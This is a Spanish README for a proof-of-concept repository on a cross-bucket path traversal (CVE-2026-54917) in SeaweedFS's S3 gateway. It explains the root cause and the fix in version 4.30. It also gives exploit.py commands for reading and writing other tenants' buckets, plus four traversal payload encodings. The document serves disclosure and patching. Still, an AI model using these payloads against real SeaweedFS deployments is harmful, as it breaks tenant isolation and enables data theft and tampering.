
PoC + análisis para CVE-2026-54917 — recorrido de rutas entre buckets en el gateway S3 de SeaweedFS (CVSS 10.0, <4.30). Lectura/escritura de cualquier bucket mediante .. en la clave del objeto.
Prueba de concepto y análisis técnico de CVE-2026-54917, un salto de ruta en la pasarela de la API S3 de SeaweedFS que permite a quien lo invoca acceder a objetos en cualquier bucket, independientemente de los permisos de sus credenciales.
| CVE | CVE-2026-54917 |
| Aviso | GHSA-w62w-66v9-vvgv |
| Producto | SeaweedFS — pasarela de la API S3 (weed s3 y el endpoint S3 de weed server) |
| Afectadas | < 4.30 |
| Corregidas | 4.30 |
| Debilidad | CWE-22 — Limitación inadecuada de un nombre de ruta a un directorio restringido |
| Severidad | 10.0 Crítico — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| Estado | VULNERABLE CONFIRMADO en 4.29 · CORREGIDO en 4.30 (verificado de extremo a extremo) |
├── exploit.py self-contained exploit (read + write, 4 traversal encodings)
├── README.md this file
├── ANALYSIS.md source-level root-cause walkthrough
├── EVIDENCE.txt raw lab transcript (vulnerable + patched boundary)
├── patch-4.30.diff the security-relevant portion of the official fix
└── lab/ one-command reproduction (docker-compose / setup.sh)
El enrutador de la API S3 está construido con mux.NewRouter().SkipClean(true). Con la limpieza de rutas deshabilitada, un segmento .. dentro de la ruta de la solicitud sobrevive al enrutamiento. Una solicitud como:
GET /bucket-a/../evil-bucket/secret.txt
es emparejada por la ruta de mux como {bucket} = "bucket-a",
{object} = "../evil-bucket/secret.txt".
Entonces divergen dos cosas:
{bucket} de mux — bucket-a — que quien llama sí tiene permitido usar.bucketDir(bucket) + "/" + object) y el filer colapsa el .. en el servidor, por lo que la lectura/escritura termina realmente en evil-bucket.El resultado es un clásico confused deputy: IAM comprueba un bucket, pero el sistema de archivos opera sobre otro. Una entidad autorizada para un único bucket puede leer y escribir objetos en cualquier otro bucket de la instancia.
enableAuth = false — lectura/escritura entre buckets directa y sin autenticación.enableAuth = true — confused deputy de autorización: cualquier entidad autenticada (de cualquier tenant) lee y escribe a través de límites de bucket para los que no tiene concesión. Este es el caso demostrado aquí y la razón de la puntuación de 10.0 / de alcance modificado: la credencial de un tenant rompe el aislamiento de todos los demás.exploit.py utiliza únicamente la biblioteca estándar de Python. Firma cada solicitud con SigV4 por sí mismo y escribe la línea de solicitud byte a byte, de modo que la ruta de traversal llega al servidor sin modificar — que es lo que permite las variantes codificadas en URL que un SDK S3 normal reescribiría.
# read a secret from a bucket the credential is NOT authorized for
python3 exploit.py \
--url http://TARGET:8333 \
--access-key <key> --secret-key <secret> \
--auth-bucket bucket-a \ # bucket the credential IS allowed to use
--target-bucket evil-bucket \ # bucket you are NOT allowed to use
--key secret.txt
# write into another bucket (integrity impact)
python3 exploit.py ... --target-bucket evil-bucket --key pwned.txt --write payload.bin
# try a different traversal encoding
python3 exploit.py ... --variant enc-slash # dotdot | enc-dot | enc-slash | enc-backslash
Se implementan cuatro codificaciones de traversal y todas están confirmadas en 4.29:
cd lab
./setup.sh # starts SeaweedFS 4.29 (S3 + IAM) and seeds data
python3 ../exploit.py \
--access-key TENANTAKEY --secret-key tenantasecret \
--auth-bucket bucket-a --target-bucket evil-bucket --key secret.txt
# -> HTTP 200 + the secret from a bucket tenant-a cannot read directly
TAG=4.30 ./setup.sh # patched build, same steps -> HTTP 400 InvalidRequest
El laboratorio activa IAM (lab/s3.json) con dos identidades: admin (acceso completo) y tenant-a (restringido a bucket-a). Toda la explotación utiliza únicamente la credencial de tenant-a. Consulta EVIDENCE.txt para ver la transcripción completa.
Consulta ANALYSIS.md. En resumen: SkipClean(true) conserva .. en la ruta enrutada; GetBucketAndObject captura las variables crudas de mux; IAM autoriza contra {bucket}; toFilerPath concatena {object} (que todavía contiene ..) en la ruta del filer, donde se colapsa y cruza el límite del bucket.
Corregido en 4.30 (patch-4.30.diff). Un middleware validateRequestPath se ejecuta antes que los manejadores de bucket y rechaza cualquier variable {bucket} / {object} capturada que esté vacía o contenga un segmento de traversal, devolviendo 400 InvalidRequest. Actualiza a 4.30 o superior.
/../, /%2e%2e, ..%2f o ..%5c entre el segmento del bucket y la clave.Caio Fabrício — github.com/BiiTts
| variante | en el cable | efecto |
|---|
dotdot | /bucket-a/../evil-bucket/key | funciona también con un aws-cli estándar |
enc-dot | /bucket-a/%2e%2e/evil-bucket/key | requiere solicitud cruda (el SDK la recodifica) |
enc-slash | /bucket-a/..%2fevil-bucket/key | requiere solicitud cruda |
enc-backslash | /bucket-a/..%5cevil-bucket/key | \ se convierte en / en el servidor |